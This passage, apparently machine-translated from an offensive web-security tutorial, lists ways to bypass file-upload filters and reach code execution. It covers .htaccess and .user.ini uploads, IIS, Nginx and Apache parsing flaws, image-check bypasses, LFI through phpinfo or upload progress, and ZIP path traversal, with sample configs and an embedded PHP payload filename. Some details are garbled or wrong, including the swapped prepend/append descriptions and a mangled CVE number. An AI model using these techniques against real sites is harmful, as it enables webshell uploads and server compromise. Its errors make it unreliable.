or upload a.php:.jpg
and generate an empty a.php file first, then upload a.ph<
and write the file content, and then under Windows, the file name is not case-sensitive. However, it is differentiated when uploading,
so you can try to bypass case. If the WEb service is configured with SSI, you can also try to upload SHTML, SHT and other file commands to execute.
Upload files do not have duplicate names
Upload .htaccess file to bypass blacklist
In versions lower than 2.3.8, the AllowOverride directive defaults to ALL.
In versions 2.3.9, the default is None.
In higher versions of Apache, .htaccess has no effect.
If it is lower than 2.3.8,
you can use the SetHandler command to make php parse the specified file.
Of course, the .htaccess file does not override all directives in the main configuration file
For example this htaccess file
AddHandler php5-script .php
#AddHandler 指令的作用是在文件扩展名与特定的处理器之间建立映射
#指定扩展名为.php的文件应该被php5-script处理器来处理。
.user.ini upload files to bypass the blacklist
Similarly, the .user.ini file cannot override all configurations in php.ini
PHP_INI_PREDIR mode, there are two special configurations.
auto_append_file specifies a file to be parsed before the main file is parsed
auto_prepend_file specifies a file to be parsed after the main file is parsed
Using user.ini to bypass the upload blacklist still has a lot of limitations. Because if there is no php file in the current directory, it cannot be executed.
File suffix whitelist check bypass
WEB server parsing vulnerability
IIS Parsing Vulnerability
There are two parsing vulnerabilities in IIS6.
*.asp
All files in the folder will be parsed as script files.
yu.asp;a.jpg
Files will be parsed into asp files, and the whitelist suffix can also be bypassed.
Nginx parsing vulnerability
Nginx is not configured with try_files and FPM does not set security.limit_extensions, there may be parsing vulnerabilities
nginx configuration is as follows
location ~ \.php ${
#try_files $uri=404
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCGI_php5.3.14.sock
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params
}
Upload x.jpg
The access x.jpg/1.php
location ends with .php, and it will be handed over to FPM for processing. At this time, the value of $fastcgi_script_name is when the
x.jpg/1.php
cgi.fix_pathinfo configuration is enabled in php, x.jpg/1.php
the file does not exist, and then fallback removes /
the content, and continues to judge whether x.jpg exists and execute it
Judging from right to left at this time
If FPM is not configured with security.limit_extensions, and the limit execution suffix must be php, a parsing vulnerability will occur.
Apache parsing vulnerability
Multi-suffix file parsing vulnerability
In apache, a single file supports multiple suffixes. If there are multiple suffixes handler
, or media-type
the corresponding handler will process the current file.
Under AddHandler aplication/x-httpd-php .php
configuration,
x.php.xxx
the file will be used aplication/x-httpd-php
to process the current file
Multiple suffixes are recognized starting from the rightmost suffix, if there is no corresponding MIME type or Handler, it will continue to recognize to the left.
CVE-2017-1575 vulnerability
In HTTPD2.4.0 and 2.4.29 versions, the FilesMatch directive $
can match newline characters, which can cause the blacklist to bypass
the Apache configuration as follows
<FilesMatch \.php>
SetHandler application/x-httpd-php
</FileMatch>
The original meaning is to parse the file ending in php, but because it
php\n
can also be parsed, you can upload x.php\n to bypass the blacklist, but in PHP, $_FILES upload will be cleared \n
and the characters cannot be used.
But if he uses the upload implemented by file_put_contents, then he can
file access bypass
Sometimes we have a lot of uploaded things, but he does not parse them, usually because in the web server configuration, the scripts in the upload directory are prohibited from parsing or accessing, such as trying to upload and ../x.php
similar files, of course, it is impossible for $_FILES,
.htaccess prohibits script file execution bypass
In the jQuery-File-Upload version lower than 9.22, in the upload script (server/php/index.php), the regularity used to verify the suffix of the uploaded file is to allow any file to be uploaded. The reason why it is confident is
‘accept_file_types=>'/.+$/i'’
because
. The script file uploaded by the htaccess file configuration cannot be executed,
but apache 2.3.9起
the AllowOverride defaults to None, so any .htaccess instructions cannot be used.
lead to loopholes
Upload files to OSS
Script files uploaded to OSS will not be parsed by the server, but the browser can implement XSS by uploading HTML, SVG and other files, but XSS is useless under the aliyuncs.com domain
When OSS is bound under the second-level domain name, xss is useful
Mate file contains bypass
If the upload script file cannot be accessed or parsed, you can upload the php file to match the file inclusion to implement parsing.
Similar scenarios include SSTI, which often selects templates that can be loaded for users, but the template file suffix is usually hard-coded. So at this time, you can upload the template file through any file, and then render the uploaded template to implement SSTI.
Some web configurations that can be bypassed
Prohibiting file execution in the upload directory is usually configured in the web server. A bypass may exist in case of improper configuration.
pathinfo leads to bypass
location ~ /upload/.*\.(php|php5|phtml|pht)${
deny all;
}
location ~ \.php(/|$){
省略
}
pathinfo is popular in all major frameworks, and many of them support it. It will also hand over the path of location similar to x.php/xxxxx to FPM for analysis, but x.php/xxxxx
it does not meet the deny all matching rules, resulting in bypassing
The location matching order results in a bypass
In Nginx, there are often scenarios where multiple locations can match the request URI. The specific location statement block to handle depends on the matching priority of the location block.
The location block matching priority of nginx matches the common location first, and then matches the regular location. If there are multiple common locations, the location will be selected according to the principle of finding the longest prefix.
location /book/upload/{
deny all;
}
location ~ \.php(/|$){
省略
}
After the ordinary location matching is completed, if it is not an exact match, it will continue to be handed over to the regular pattern for matching. If the regular pattern matching is successful, the result of the ordinary location matching will be overwritten.
So deny all
it is covered by the regular location match, and the php files in the upload directory can still run normally.
The correct way should be to add in front of the normal match, ^~
which means that as long as the match is successful, even if it does not match exactly, it will not perform regular matching
location ^~/book/upload/{
deny all;
}
Use apache parsing vulnerability to bypass
<FilesMatch ".(php|php5|phtml)">
Deny from all
</FilesMatch>
At this time, you can use the parsing vulnerability of apache to upload yu.php.aaa
files, bypassing deny all
Bypass image verification to achieve code execution
getimagesize bypass
It's very easy, just add the php code behind the picture
or you can define
#define %s %d
For example, #define height 100
# define wideth 1100
save the trouble of pictures
imagecreatefromjpeg bypass
It should be a secondary rendering bypass,
with a mature script
as follows
https://github.com/BlackFan/jpg_payload
Upload generated temporary files using
During the upload process of php, a temporary file will be generated and then deleted. If the file cannot be found, the temporary file can be included
LFI via phpinfo
Since the uploaded file will generate a file name of 6 random characters, it will be deleted after the upload is completed, so it is very troublesome, but if we upload the file to phpinfo, we can get the generated file.
Because phpinfo will display the parameters whether it is post or get
LFI cooperates with the phpinfo scene and already has very mature scripts
LFI via Upload_Progress
When session.upload_progess.enabled is enabled,
php can detect the upload progress when each file is uploaded, and
it is enabled by default since PHP5.4.
At the same time, set the variable with the same name in POST and INI session.upload_progess.name
. When php detects this POST request, it will add a set of data to the session to write the upload information.
Then if we upload, simulate this POST
to form two file headers
(the picture is not convenient to put up, you can view other master pictures)
and change the file name toPHP_SESSION_UPLOAD_PREGRESS
x<?php phpinfo();?>.jpg
At the same time, conditional competition is required to include the session file before the session file is cleared.
LFI via Segmentation fault
For details, see the master here
https://hackmd.io/s/Hk-2nUb3Q
Use file_put_contents to implement file upload
file_put_contents upload file blacklist bypass
There are many principles in this section, and the pictures are not displayed.
The file name isyu.php/.
death bypass
Many websites will add the beginning of the file when uploading. <?php exit();?>
In order to bypass the exit,
we can use the filter to process it.
Here, base64_decode is used for processing.
Upload issues with ZIP uploads
unpacked file not processed
The backend directly decompresses, resulting in arbitrary file uploads
The upload directory was not checked recursively resulting in a bypass
If the directory is decompressed, it does not detect, but only detects the script file, which will lead to bypass
Condition race leads to bypass
access to our uploaded files before deletion,
Decompression produces an exception leading to bypass
When an error occurs in half of the decompression, the first half of the file will be generated.
We use 010 Editor to put our code in the first half, and then modify the content after it 0xff
to decompress.
Decompress special files to achieve bypass
There are two special files.
The first one needs normal files to avoid unsuccessful decompression under linux.
The second one needs directory jumping, which can be named as
../../aaaaa.php